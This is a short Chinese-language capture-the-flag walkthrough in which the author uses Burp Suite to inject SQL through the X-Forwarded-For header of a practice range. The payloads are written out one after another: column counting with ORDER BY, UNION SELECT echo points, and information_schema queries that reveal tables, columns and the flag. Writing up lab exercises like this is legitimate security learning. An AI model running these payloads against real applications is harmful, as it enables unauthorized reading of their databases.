首先題目提示
XFF注入,大致思路爲Burp抓包添加XFF請求頭進行注入。
啓動靶場
點擊進入墨者的任性網頁
Burpsuite抓包,放進Repeater
先GO一下
在請求頭中添加X-Forwarded-For
試了試 '
、and 1=1
、 and 1=2
都沒反應
當改爲or 1=1
時,提示語法錯誤
繼續,union注入步驟
order by 5
顯示未知字段,order by 4返回正常
得到數據庫中的字段數
union select 1,2,3,4
看看有哪些回顯點,發現多了一行商品,名稱,價格,數量分別爲2,3,4
爆數據庫版本和數據庫名
union select 1,2,version(),database()
union select 1,2,(select table_name from information_schema.tables where table_schema = 'pentesterlab' limit 0,1),database()
第一個表名爲comment
union select 1,2,(select table_name from information_schema.tables where table_schema = 'pentesterlab' limit 1,1),database()
第二個表名爲flag,應該是這個表了。
繼續
union select 1,2,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),database()
第一個字段名爲id,再試試第二個
union select 1,2,(select column_name from information_schema.columns where table_name = 'flag' limit 1,1),database()
flag應該就在這個字段中
union select 1,2,(select flag from pentesterlab.flag limit 0,1),database()
得到flag
回到最初頁面,驗證flag,得到key。